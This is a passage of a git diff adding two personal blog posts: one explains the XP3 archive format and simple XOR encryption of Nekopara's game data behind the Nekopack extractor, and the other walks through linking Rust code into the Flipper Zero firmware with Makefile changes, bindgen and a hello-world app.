release of Nekopack - a tool I +wrote for extracting game data from Nekopara's XP3 archives. While the process +wasn't an amazing reverse-engineering war story that will keep you on the edge +of your seat, I feel it deserves a small blog post explaining how I did it. +Additionally, there's no real documentation on the XP3 format as far as I'm +aware, so hopefully this post will serve as an informal specification. + +The first step I took was to see if anyone else had tried to reverse it. Even +something as simple as a writeup would have made my goal significantly more +attainable. The closest thing I was able to find was [[https://github.com/vn-tools/arc_unpacker][Arc Unpacker]], a tool +capable of extracting several archive formats, including XP3. However, +attempting to use it brought to my attention the fact that Nekopara's archives +are encrypted. Further searching yielded nothing of interest, so it seemed that +the solution was to write a tool of my own. I chose to write it from scratch, as +I couldn't predict how complex the encryption algorithm would be. + +Writing a tool to work with an archive format, however, requires a very thorough +understanding of how it's structured. Instinctively, I fired up my favorite hex +editor and went at it, with the [[https://github.com/vn-tools/arc_unpacker/blob/master/src/dec/kirikiri/xp3_archive_decoder.cc][source code of Arc]] open to figure out most of +it. + +#+CAPTION: A hex dump of the XP3 header. +[[./xp3-header.png]] + +The first section of the archive is the header. It begins with an 11-byte +"magic number," used by whatever program is opening it as a sanity check. It's +followed by a 64-bit offset which, for XP3 version 2, points to a few adjacent +values. First, an 8-bit integer that I've been told acts as a flags variable, +followed by a 64-bit integer representing the table's size, and finally another +64-bit integer containing an offset to the beginning of the table section. The +flags variable, to my knowledge, should have the 0x80 bit set; it's a constant +defined in the code of the KiriKiriZ engine that I presume marks compatibility +with the game engine. Byte 0x13 is a 32-bit unsigned integer representing the +version, where a value of 1 represents version 2 of the archive. + +The header can be represented as the following C struct. + +#+BEGIN_SRC c :hl_lines 0 +struct header { + char magic[11]; + uint64_t info_offset; + uint32_t version; + uint64_t table_size; + uint8_t flags; + uint64_t table_offset; +}; +#+END_SRC + +Seeking to the table, we find that it starts with some metadata. First, an +8-bit unsigned integer representing whether or not the contents of the archive +are compressed. That's followed by a 64-bit unsigned integer representing the +compressed size of the table, and another 64-bit unsigned integer representing +the decompressed size. The table's contents are compressed using LZ77 and +Huffman Coding, so let's use zlib! I proceeded to inflate the archive contents +according to the header and dumped it so that I could view it in my hex editor. + +#+CAPTION: Sections in the hexdump of the decompressed payload with the corresponding constants in the Arc source code. +[[./binary-dump.png]] + +Every entry has a header containing a 32-bit magic number (underlined in red), +followed by a 64-bit unsigned integer representing the size of the entry. It's a +very simple format to parse. This very first entry, =0x656c6946=, is an =eliF= +entry. It contains a UTF-16LE encoded filename and a "key", which is used to +associate the =eliF= entry with its corresponding =File= entry. That key is also +used when decrypting the file, but we'll get into that later on. + +The next visible chunk is a =File= entry. There's a lot in it, so it's broken up +into several parts: =info=, =segm=, =adlr=, and =time=" The =adlr= chunk is +pretty small and contains only the key, used to match the =File= entry to an +=eliF= entry. The =time= chunk is also pretty small, containing a UNIX timestamp +for the file creation date. What's a little more interesting are the two +remaining chunks. =segm= has offsets to the beginning of the file, and it can +actually contain several "segments." The =file= chunks specified in =segm= are +also compressed with LZ77 and Huffman Coding. =info= contains a flags variable, +a compressed and decompressed size, and what seems to be an MD5 hash of the +file. + +#+CAPTION: A screenshot of my terminal, showing the output of a bare-bones parser for the format. +[[./basic-parsing.png]] + +Now we run into the problem of the files' contents being encrypted. I began by +getting a debugger setup going to reverse engineer the binary. x64dbg isn't my +usual choice, especially not with Intel syntax, but it was the first thing I +was really able to get working. Of course, using the debugger alone is a little +primitive. We have other tools to make reverse engineering easier. + +#+CAPTION: A screenshot of procmon alongside x32dbg, logging Windows syscalls that read files. +[[./catching-file-reads.png]] + +Enter procmon. It's reminiscent of strace, but it's meant for Windows and has a +nice stack trace feature which helps us to locate the code that decrypts the +archive. This is the point where I got stuck, having to deal with threads. It +was mostly "guns blazing" debugging. I stepped through the code mindlessly for a +few days, until one night before going to bed when I decided to take another +look online for whether or not someone had cracked it yet. Then I found +[[https://bitbucket.org/SmilingWolf/xp3tools-updated][something interesting]]. + +It felt a little too easy, but I already wrote the unpacking part - so I wrote +code to decrypt buffers and copied the encryption keys into my code. Encryption +is symmetric and extremely simple, just single-key xor. A base key is first +derived by xoring the game's master key with the file key I mentioned earlier. +Then a one-byte key is derived from that key by xoring each byte. For some +games the least significant byte of the base key is used to encrypt the first +byte of the file. The game has default values to fall back to if either of +those keys are too simple. + +Since the script I found only had the keys for volumes 1 and 0, I decided to +try to get the key for volume 2 on my own. But now that I know the encryption +algorithm used, I can break it without having to disassemble the game. + +It's pretty simple. Most binary files have a "magic number" associated with +them, which allows us to perform a known-plaintext attack. Pair that with the +fact that the first byte of each file is encrypted with the least-significant +byte of the base key, and you've got yourself a cracking process simple enough +to do in [[https://github.com/TsarFox/nekopack/blob/master/other/find_key.py][about 100 lines of python]]. diff --git a/haunt/posts/rust-on-flipper-zero.org b/haunt/posts/rust-on-flipper-zero.org new file mode 100644 index 0000000..4b842bb --- /dev/null +++ b/haunt/posts/rust-on-flipper-zero.org @@ -0,0 +1,810 @@ +#+TITLE: Rust on the Flipper Zero +#+DATE: <2022-07-05 Tue 07:16> +#+TAGS: writeup rust embedded hardware flipperzero + +My [[https://flipperzero.one/][Flipper Zero]] arrived in the mail a few weeks ago, ending a nearly two-year +wait for its arrival. For the uninitiated, it's a "multi-tool device for geeks": +a development board for radio, IR, and GPIO in a [[https://en.wikipedia.org/wiki/Tamagotchi][Tamagotchi]]-like form-factor. It +combines the capability of the [[https://kk4vcz.com/goodwatch/][GoodWatch]] with the cuteness of the [[https://pwnagotchi.ai/][Pwnagotchi]]. +Part of the appeal, to me, is the ability to hack on the [[https://github.com/flipperdevices/flipperzero-firmware][free (as in freedom) +firmware]]. As capable as it was out of the box, providing plenty of amusement +when my brother and I took it for a spin through some parking garages, there are +still features I'd like to add to it. The problem is that I've been too pampered +by Rust as of late to want to do my firmware hacks in C. + +Indeed, shortly after receiving the Flipper, I updated the firmware as directed. +While mostly solid, I had a lock-up within the first hour of use, forcing me to +give it the two-finger salute to reboot it. Obviously, these things inevitably +happen. It's early in the product's lifecycle. And even though I trust the +Flipper developers to wield the n-edged blade of C, I know that /I'm/ not a +firmware engineer by trade, and that I would want the comfort of the borrow +checker to prevent the many more locks and freezes I would introduce if I were +to write my changes in C. + +Embedded software is a field where Rust (supposedly) [[https://artemis.sh/2022/03/28/oxide-hubris-on-pinetime.html][shines]],and I happened to +come across Philipp Oppermann's book /Writing an OS in Rust/ recently +(specifically [[https://os.phil-opp.com/freestanding-rust-binary/][this section]]) which inspired me to give it a whirl on my new toy. + +* Shoehorning Rust Into a C Build System + +#+BEGIN_EXPORT html +
+#+END_EXPORT +A few days ago, the Flipper team [[https://github.com/flipperdevices/flipperzero-firmware/pull/1269][integrated scons as their new build system]], so +the information below is already out of date. We'll mention the differences in +the next post. +#+BEGIN_EXPORT html +
+#+END_EXPORT + +Our first goal will be to get "hello world" running on the Flipper. We'll do +something actually useful with the Flipper API eventually, but we must walk +before we can run. + +The firmware build process is [[https://github.com/flipperdevices/flipperzero-firmware/blob/dev/ReadMe.md][well-documented]]. It's primarily written in C and +uses =make=. We have two feasible options for shoehorning Rust into the process. +We can: + +1. Use =rustc= to emit an [[https://stackoverflow.com/questions/37891559/rusts-o-file-format-not-recognized-by-gcc][object file]], which we can add to the list of objects + being linked by build system. +2. Create a proper =cargo= project and produce a [[https://en.wikipedia.org/wiki/Static_library#Creating_static_libraries_in_C/C++][static C library]], which we'll + then link into the firmware. + +The latter has the benefit that we can easily use =no-std= libraries and inject +custom logic into a =build.rs= (e.g. for generating bindings as part of the build +process). But before settling on one particular solution, I wanted data on cost +in terms of firmware size -- one of several limitations we need to consider as +we hack on the firmware. + +** Linking an Object File + +I cracked open a beer Saturday afternoon and sat down to get through the web of +Makefiles, eventually converging on this diff to include a =rustc= rule: + +#+BEGIN_SRC diff +diff --git a/applications/applications.c b/applications/applications.c +index 247c601c..67e70e8d 100644 +--- a/applications/applications.c ++++ b/applications/applications.c +@@ -49,6 +49,7 @@ extern int32_t file_browser_app(void* p); + // Plugins + extern int32_t music_player_app(void* p); + extern int32_t wav_player_app(void* p); ++extern int32_t hello_world_app(void *p); + extern int32_t clock_app(void *p); + extern int32_t unirfremix_app(void *p); + extern int32_t spectrum_analyzer_app(void* p); +@@ -382,6 +383,14 @@ const FlipperApplication FLIPPER_PLUGINS[] = { + .flags = FlipperApplicationFlagDefault}, + #endif + ++#ifdef APP_HELLO_WORLD ++ {.app = hello_world_app, ++ .name = "Hello World", ++ .stack_size = 1024, ++ .icon = NULL, ++ .flags = FlipperApplicationFlagDefault}, ++#endif ++ + }; + + const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); +diff --git a/applications/applications.mk b/applications/applications.mk +index 60a339bd..baeaf4ae 100644 +--- a/applications/applications.mk ++++ b/applications/applications.mk +@@ -4,6 +4,7 @@ LIB_DIR = $(PROJECT_ROOT)/lib + CFLAGS += -I$(APP_DIR) + C_SOURCES += $(shell find $(APP_DIR) -name "*.c") + CPP_SOURCES += $(shell find $(APP_DIR) -name "*.cpp") ++RUST_SOURCES += $(shell find $(APP_DIR) -name "*.rs") + + RAM_EXEC ?= 0 + ifeq ($(RAM_EXEC), 1) +@@ -53,6 +54,7 @@ APP_SPECTRUM_ANALYZER = 1 + APP_MUSIC_PLAYER = 1 + APP_SNAKE_GAME = 1 + APP_WAV_PLAYER = 1 ++APP_HELLO_WORLD = 1 + APP_TETRIS_GAME = 1 + + # Debug +@@ -253,6 +255,12 @@ CFLAGS += -DAPP_WAV_PLAYER + SRV_GUI = 1 + endif + ++APP_HELLO_WORLD ?= 0 ++ifeq ($(APP_HELLO_WORLD), 1) ++CFLAGS += -DAPP_HELLO_WORLD ++SRV_GUI = 1 ++endif ++ + APP_TETRIS_GAME ?= 0 + ifeq ($(APP_TETRIS_GAME), 1) + CFLAGS += -DAPP_TETRIS_GAME +diff --git a/applications/hello_world/hello_world.rs b/applications/hello_world/hello_world.rs +new file mode 100644 +index 00000000..93a0b1b8 +--- /dev/null ++++ b/applications/hello_world/hello_world.rs +@@ -0,0 +1,15 @@ ++#![no_std] ++#![crate_type = "staticlib"] ++ ++use core::panic::PanicInfo; ++ ++#[no_mangle] ++pub extern "C" fn hello_world_app() -> i32 { ++ 0 ++} ++ ++/// This function is called on panic. ++#[panic_handler] ++fn panic(_info: &PanicInfo) -> ! { ++ loop {} ++} +diff --git a/make/base.mk b/make/base.mk +index 281419e9..ec277016 100644 +--- a/make/base.mk ++++ b/make/base.mk +@@ -1,7 +1,8 @@ + OBJ_DIR = .obj + ASM_SOURCES = + C_SOURCES = +-CPP_SOURCES = ++CPP_SOURCES = ++RUST_SOURCES = + ASSETS = + OPENOCD_OPTS = + +diff --git a/make/rules.mk b/make/rules.mk +index bdf8a4af..68b62c0c 100644 +--- a/make/rules.mk ++++ b/make/rules.mk +@@ -4,11 +4,13 @@ OBJ_DIR := $(OBJ_DIR)/$(TARGET)-$(PROJECT) + C_SOURCES := $(abspath ${C_SOURCES}) + ASM_SOURCES := $(abspath ${ASM_SOURCES}) + CPP_SOURCES := $(abspath ${CPP_SOURCES}) ++RUST_SOURCES := $(abspath ${RUST_SOURCES}) + + # Gather object + OBJECTS = $(addprefix $(OBJ_DIR)/, $(C_SOURCES:.c=.o)) + OBJECTS += $(addprefix $(OBJ_DIR)/, $(ASM_SOURCES:.s=.o)) + OBJECTS += $(addprefix $(OBJ_DIR)/, $(CPP_SOURCES:.cpp=.o)) ++OBJECTS += $(addprefix $(OBJ_DIR)/, $(RUST_SOURCES:.rs=.o)) + + OBJECT_DIRS = $(sort $(dir $(OBJECTS))) + +@@ -78,6 +80,10 @@ $(OBJ_DIR)/%.o: %.cpp $(OBJ_DIR)/BUILD_FLAGS + @echo "\tCPP\t" $(subst $(PROJECT_ROOT)/, , $<) + @$(CPP) $(CFLAGS) $(CPPFLAGS) -c $< -o $@ + ++$(OBJ_DIR)/%.o: %.rs $(OBJ_DIR)/BUILD_FLAGS ++ @echo "\tRUSTC\t" $(subst $(PROJECT_ROOT)/, , $<) ++ @$(RUSTC) $< -o $@ ++ + $(OBJ_DIR)/flash: $(OBJ_DIR)/$(PROJECT).bin + openocd $(OPENOCD_OPTS) -c "program $(OBJ_DIR)/$(PROJECT).bin reset exit $(FLASH_ADDRESS)" + touch $@ +diff --git a/make/toolchain.mk b/make/toolchain.mk +index f161d3d1..9a27ca8d 100644 +--- a/make/toolchain.mk ++++ b/make/toolchain.mk +@@ -12,6 +12,7 @@ CCACHE := $(shell which ccache) + + CC = $(CCACHE) $(PREFIX)gcc -std=gnu17 + CPP = $(CCACHE) $(PREFIX)g++ -std=gnu++17 ++RUSTC = rustc --target thumbv7em-none-eabihf --emit obj + LD = $(PREFIX)g++ + AS = $(PREFIX)gcc -x assembler-with-cpp + CP = $(PREFIX)objcopy +#+END_SRC + +I took my usual approach of copy/pasting the surrounding code and letting +whatever errors the build system spits out guide my changes. The mortal sin +present above is a hard-coded processor architecture. Also, note that this is +=thumbv7em-none-eabihf= and not =thumbv7em-none-eabi=, which I used in the beginning +to little success. The Flipper Zero has a STM32WB55RG MCU. Rust's "Embedded Rust +Book"[fn:4] uses a similar STM32F3DISCOVERY, but the Rust targets are different. +Using the latter target will net you an error: + +#+BEGIN_SRC prog +\tRUSTC\t applications/hello_world/hello_world.rs +\tLD\t .obj/f7-firmware/firmware.elf +/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: error: .obj/f7-firmware/firmware.elf uses VFP register arguments, .obj/f7-firmware//home/jakob/Code/flipperzero-firmware/applications/hello_world/hello_world.o does not +/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: failed to merge target specific data of file .obj/f7-firmware//home/jakob/Code/flipperzero-firmware/applications/hello_world/hello_world.o +#+END_SRC + +Anyway, here's the =hello_world.rs= with better syntax highlighting than what +=diff-mode= gives us: + +#+BEGIN_SRC rust +#![no_std] +#![crate_type = "staticlib"] + +use core::panic::PanicInfo; + +#[no_mangle] +pub extern "C" fn hello_world_app() -> i32 { + 0 +} + +/// This function is called on panic. +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} +#+END_SRC + +This should read as Rust, more-or-less. We specify =#![no_std]=, because we won't +have =std= available in an embedded environment. We also specify =#![crate_type = +"staticlib"]= because we're targeting a C object file and don't want an error +about an absent =main= function. We're exporting a function that's going to be +called by some C code outside =rustc='s purview, so we specify =#[no_mangle]= and +=extern "C"= -- that much should be reasonably familiar to anyone who has used +Rust's FFI interface. Finally, in =no_std= land, we don't get to assume that +there's a nice =panic= handler there for us. We have to implement that ourselves. +We don't have a great way of handling it at this point, so we'll just loop +indefinitely.[fn:5] + +But before we compile with those changes, we'll need a baseline size. Building +=9d46f62be1ffa17bc8d13b68b8708ccfec17e82e= [fn:1] on Gentoo with +=gcc-arm-none-eabi-10.3-2021.10=: + +#+BEGIN_SRC prog +... +\tLD\t .obj/f7-firmware/firmware.elf + text data bss dec hex filename + 883808 1696 362723 1248227 130be3 .obj/f7-firmware/firmware.elf + +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +16361148 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +885821 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +#+END_SRC + +Note that =dist/= contains a couple of files -- =firmware.elf= is the actual linker +output, but =.dfu= is the output in the format that's flashed to the Flipper. Now, +we can confirm that our changes to the build system work as desired if we run it +without adding =applications/hello_world=: + +#+BEGIN_SRC prog +... +\tLD\t .obj/f7-firmware/firmware.elf +/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: .obj/f7-firmware//home/jakob/Code/flipperzero-firmware/applications/applications.o:(.rodata.FLIPPER_PLUGINS+0x3c): undefined reference to `hello_world_app' +collect2: error: ld returned 1 exit status +make[1]: *** [/home/jakob/Code/flipperzero-firmware/make/rules.mk:48: .obj/f7-firmware/firmware.elf] Error 1 +make[1]: Leaving directory '/home/jakob/Code/flipperzero-firmware/firmware' +make: *** [Makefile:68: firmware_all] Error 2 +#+END_SRC + +If we then add the file and compile, + +#+BEGIN_SRC prog +... +\tLD\t .obj/f7-firmware/firmware.elf + text data bss dec hex filename + 883840 1696 362691 1248227 130be3 .obj/f7-firmware/firmware.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +16361308 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +885853 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +#+END_SRC + +we can see that the impact on size (of the =.dfu=) is negligible. The overhead is +less than than 0.01%. + +** Injecting a Static Library + +For this evaluation, I didn't bother with integrating everything nicely with the +build system. I built a =staticlib= with =cargo build --release --target +thumbv7em-none-eabihf= and hard-coded it into the object list that's passed to +the linker. Hence, no diff is included here. We'll also need to augment the +=LDFLAGS= to allow for redefinitions or else we get cacophony. + +#+BEGIN_SRC prog +\tLD\t .obj/f7-firmware/firmware.elf +/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: /opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/thumb/v7e-m+fp/hard/libgcc.a(_arm_cmpdf2.o): in function `__aeabi_dcmpeq': +(.text+0xac): multiple definition of `__aeabi_dcmpeq'; ../applications/hello_world/target/thumbv7em-none-eabihf/release/libhello_world.a(compiler_builtins-50ab11bfb8346963.compiler_builtins.a2c45ff5-cgu.108.rcgu.o):/cargo/registry/src/github.com-1ecc6299db9ec823/compiler_builtins-0.1.71/src/macros.rs:335: first defined here +... +/opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/../../../../arm-none-eabi/bin/ld: /opt/gcc-arm-none-eabi-10.3-2021.10/bin/../lib/gcc/arm-none-eabi/10.3.1/thumb/v7e-m+fp/hard/libgcc.a(_arm_addsubdf3.o): in function `__floatundidf': +(.text+0x30c): multiple definition of `__aeabi_ul2d'; ../applications/hello_world/target/thumbv7em-none-eabihf/release/libhello_world.a(compiler_builtins-50ab11bfb8346963.compiler_builtins.a2c45ff5-cgu.143.rcgu.o):/cargo/registry/src/github.com-1ecc6299db9ec823/compiler_builtins-0.1.71/src/macros.rs:241: first defined here +#+END_SRC + +Once all is squared away, we have a firmware image we can measure. + +#+BEGIN_SRC prog +\tLD\t .obj/f7-firmware/firmware.elf + text data bss dec hex filename + 887640 1696 358891 1248227 130be3 .obj/f7-firmware/firmware.elf +akob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +16447736 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +889653 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +#+END_SRC + +The size impact (again, for the =.dfu=), is not as negligible. The overhead is +about 0.4%. + +Why is there a difference? The real answer follows later in the article -- qI +won't spoil it now. For, I'll leave it at "well, we can inspect the =.a= to see +that it's including seemingly redundant/irrelevant stuff." + +#+BEGIN_SRC prog +jakob@Epsilon ~/Code/flipperzero-firmware $ ar t applications/hello_world/target/thumbv7em-none-eabihf/release/libhello_world.a +hello_world-260792d958918d7e.hello_world.d3378d15-cgu.0.rcgu.o +compiler_builtins-50ab11bfb8346963.compiler_builtins.a2c45ff5-cgu.0.rcgu.o +... +absvdi2.o +absvsi2.o +absvti2.o +addvdi3.o +addvsi3.o +addvti3.o +aeabi_cdcmpeq_check_nan.o +aeabi_cfcmpeq_check_nan.o +aeabi_div0.o +aeabi_drsub.o +aeabi_frsub.o +bswapdi2.o +bswapsi2.o +clzdi2.o +... +udivmodsi4.o +udivsi3.o +umodsi3.o +apple_versioning.o +rustc_std_workspace_core-9ae03c706dab5b95.rustc_std_workspace_core.86fb1412-cgu.0.rcgu.o +core-4c81109e506dada5.core.1ad88dac-cgu.0.rcgu.o +#+END_SRC + +This is quite a bit. I had to omit about a hundred other =compiler_builtins= +objects. I came across this [[https://internals.rust-lang.org/t/rust-staticlibs-and-optimizing-for-size/5746][Rust Internals post]] from five years about using LTO +to minimize =staticlib= size. Let's give it a try... first, adding =-flto= to +=LDFLAGS=... + +#+BEGIN_SRC prog +\tLD\t .obj/f7-firmware/firmware.elf + text data bss dec hex filename + 887640 1696 358891 1248227 130be3 .obj/f7-firmware/firmware.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +16447736 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +889653 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +#+END_SRC + +No difference. Let's try with Rust: + +#+BEGIN_SRC toml +[profile.release] +lto = true +#+END_SRC + +#+BEGIN_SRC prog +\tLD\t .obj/f7-firmware/firmware.elf + text data bss dec hex filename + 887640 1696 358891 1248227 130be3 .obj/f7-firmware/firmware.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +16447736 dist/f7/flipper-z-f7-firmware-local-9d46f62b.elf +jakob@Epsilon ~/Code/flipperzero-firmware $ du -b dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +889653 dist/f7/flipper-z-f7-full-local-9d46f62b.dfu +#+END_SRC + +No difference. So we'll press with the first approach of linking in an object +file. This means we won't be able to use (at least not conveniently) a =build.rs= +to automate making bindings, but we can still do that from the command-line. + +* Binding to the Flipper API + +We'll use [[https://rust-lang.github.io/rust-bindgen/][rust-bindgen]], which allows us to parse the C/C++ header files in the +source tree and generate Rust FFI bindings automatically. We can get it by +running =cargo install bindgen=. My approach was to =cat= together all the headers +we care about run =bindgen= on that. + +#+BEGIN_SRC sh +HEADERS=" +../core/furi.h +../firmware/targets/furi_hal_include/furi_hal_version.h +../applications/dialogs/dialogs.h +../applications/gui/gui.h +../applications/gui/view_dispatcher.h +../applications/gui/modules/empty_screen.h +../lib/mlib/m-string.h" + +cat $HEADERS > ../applications/hello_world/master.h +bindgen ../applications/hello_world/master.h --ctypes-prefix ::core::ffi --use-core -- \ + $CFLAGS \ + > "../applications/hello_world/master.rs" +#+END_SRC + +Where =CFLAGS= is something I got =make= to output using a few conveniently-placed +=echo='s -- I had to trim it to just the =-D= declarations and =-I= include paths +because =bindgen= doesn't seem to like any other Clang arguments. And because we +can't use a crate to deal with the FFI types, I'm leveraging the nightly-only +=core_ffi_c= API. Our code changes somewhat: + +#+BEGIN_SRC rust +#![no_std] +#![feature(core_ffi_c)] +#![crate_type = "staticlib"] + +use core::panic::PanicInfo; + +include!("master.rs"); + +#[no_mangle] +pub extern "C" fn hello_world_app() -> i32 { + 0 +} + +/// This function is called on panic. +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} +#+END_SRC + +.. surprisingly (at least, to me) the binary size doesn't change when I +re-compile with the =include!= statement. I suppose that means that either dead +code elimination is working as intended, or the code emitted by =bindgen= is just +declarations and absolutely nothing else. + +It does take a while for the compiler to stop spitting things out to my +terminal, however. + +#+BEGIN_SRC prog +... + +warning: constant `ViewDispatcherType_ViewDispatcherTypeFullscreen` should have an upper case name + --> master.rs:41909:11 + | +41909 | pub const ViewDispatcherType_ViewDispatcherTypeFullscreen: ViewDispatcherType = 2; + | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ help: convert the identifier to upper case: `VIEW_DISPATCHER_TYPE_VIEW_DISPATCHER_TYPE_FULLSCREEN` + +warning: 8304 warnings emitted +#+END_SRC + +Jesus. + +* Writing Hello World + +I chose to rewrite (most of) =applications/about/about.c=, as it seemed most +amenable to being adapted into a "hello world" program. This might have been a +good opportunity to use [[https://c2rust.com/][C2Rust]], but I didn't think it was worth learning the +tool just to save me 200 lines of code. + +#+BEGIN_SRC rust +#![no_std] +#![feature(core_ffi_c)] +#![crate_type = "staticlib"] + +use core::panic::PanicInfo; + +// Include the Rust code emitted by bindgen. +include!("master.inc"); + +/// Populate `dest` with the C string encoding of `src`. +unsafe fn write_cstr(dest: &mut [i8], src: &str) { + let mut i = 0; + for byte in src.bytes() { + // Had to use unchecked because we don't have + // `core::panicking::panic_bounds_check`. Hence, this whole function is + // `unsafe`. + ,*dest.get_unchecked_mut(i) = byte as i8; + // dest[i] = byte as i8; + i += 1; + } + dest[i] = '\0' as i8; +} + +#[no_mangle] +pub unsafe extern "C" fn hello_world_app(_p: *const core::ffi::c_void) -> i32 { + // Stack-allocated buffers for our converted C strings. + let mut buffer: [i8; 64] = [0; 64]; + let mut buffer2: [i8; 64] = [0; 64]; + + write_cstr(&mut buffer, "dialogs"); + let dialogs = core::mem::transmute::<*mut core::ffi::c_void, *mut DialogsApp>( + furi_record_open(buffer[..].as_ptr()), + ); + let message: *mut DialogMessage = dialog_message_alloc(); + + write_cstr(&mut buffer, "gui"); + let gui = core::mem::transmute::<*mut core::ffi::c_void, *mut Gui>(furi_record_open( + buffer[..].as_ptr(), + )); + let view_dispatcher: *mut ViewDispatcher = view_dispatcher_alloc(); + let empty_screen: *mut EmptyScreen = empty_screen_alloc(); + let empty_screen_index: u32 = 0; + + // draw empty screen to prevent menu flickering + view_dispatcher_add_view( + view_dispatcher, + empty_screen_index, + empty_screen_get_view(empty_screen), + ); + view_dispatcher_attach_to_gui( + view_dispatcher, + gui, + ViewDispatcherType_ViewDispatcherTypeFullscreen, + ); + view_dispatcher_switch_to_view(view_dispatcher, empty_screen_index); + + let mut screen_index = 0; + let about_screens = [unleashed_info_screen, unleashed_info_screen2]; + let about_screens_count = 2; + + loop { + if screen_index >= about_screens_count - 1 { + write_cstr(&mut buffer, "Back"); + dialog_message_set_buttons( + message, + buffer[..].as_ptr(), + core::ptr::null_mut(), + core::ptr::null_mut(), + ); + } else { + write_cstr(&mut buffer, "Back"); + write_cstr(&mut buffer2, "Next"); + dialog_message_set_buttons( + message, + buffer[..].as_ptr(), + core::ptr::null_mut(), + buffer2[..].as_ptr(), + ); + } + + // let screen_result = about_screens[screen_index](dialogs, message); + let screen_result = about_screens.get_unchecked(screen_index)(dialogs, message); + + if screen_result == DialogMessageButton_DialogMessageButtonLeft { + if screen_index <= 0 { + break; + } else { + screen_index -= 1; + } + } else if screen_result == DialogMessageButton_DialogMessageButtonRight { + if screen_index < about_screens_count { + screen_index += 1; + } + } else if screen_result == DialogMessageButton_DialogMessageButtonBack { + break; + } + } + + dialog_message_free(message); + write_cstr(&mut buffer, "dialogs"); + furi_record_close(buffer[..].as_ptr()); + + view_dispatcher_remove_view(view_dispatcher, empty_screen_index); + view_dispatcher_free(view_dispatcher); + empty_screen_free(empty_screen); + write_cstr(&mut buffer, "dialogs"); + furi_record_close(buffer[..].as_ptr()); + + 0 +} + +/// This function is called on panic. +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} + +unsafe fn unleashed_info_screen( + dialogs: *mut DialogsApp, + message: *mut DialogMessage, +) -> DialogMessageButton { + let mut result: DialogMessageButton; + + let screen_header = "Hello from Rust\n"; + + let mut buffer: [i8; 64] = [0; 64]; + + write_cstr(&mut buffer, screen_header); + dialog_message_set_header( + message, + buffer[..].as_ptr(), + 0, + 0, + Align_AlignLeft, + Align_AlignTop, + ); + write_cstr(&mut buffer, screen_header); + dialog_message_set_text( + message, + buffer[..].as_ptr(), + 0, + 26, + Align_AlignLeft, + Align_AlignTop, + ); + result = dialog_message_show(dialogs, message); + dialog_message_set_header( + message, + core::ptr::null_mut(), + 0, + 0, + Align_AlignLeft, + Align_AlignTop, + ); + dialog_message_set_text( + message, + core::ptr::null_mut(), + 0, + 0, + Align_AlignLeft, + Align_AlignTop, + ); + + result +} + +unsafe fn unleashed_info_screen2( + dialogs: *mut DialogsApp, + message: *mut DialogMessage, +) -> DialogMessageButton { + let mut result: DialogMessageButton; + + let screen_header = "Hello from Rust 2\n"; + + let mut buffer: [i8; 64] = [0; 64]; + + write_cstr(&mut buffer, screen_header); + dialog_message_set_header( + message, + buffer[..].as_ptr(), + 0, + 0, + Align_AlignLeft, + Align_AlignTop, + ); + write_cstr(&mut buffer, screen_header); + dialog_message_set_text( + message, + buffer[..].as_ptr(), + 0, + 26, + Align_AlignLeft, + Align_AlignTop, + ); + result = dialog_message_show(dialogs, message); + dialog_message_set_header( + message, + core::ptr::null_mut(), + 0, + 0, + Align_AlignLeft, + Align_AlignTop, + ); + dialog_message_set_text( + message, + core::ptr::null_mut(), + 0, + 0, + Align_AlignLeft, + Align_AlignTop, + ); + + result +} +#+END_SRC + +This is perhaps the worst Rust code I've ever written, but it's at least a +starting point. + +You may notice my comment about having "to use =unchecked_get= because we don't +have =core::panicking::panic_bounds_check=." Indeed, when I naïvely decided to use +=rustc= on its own, I was [[https://github.com/rust-lang/compiler-builtins/issues/245][actually eschewing]] some important parts of =libcore=. +Right now, we're more "on our own" than we usually would be writing =no_std= code. +The rest of the snippet is wrought with unsafe transmutation of =void *= values +that are being passed across the FFI boundary, and some gross manual conversion +(=write_cstr=) between Rust and C strings because I'm missing out on the niceness +of =std='s 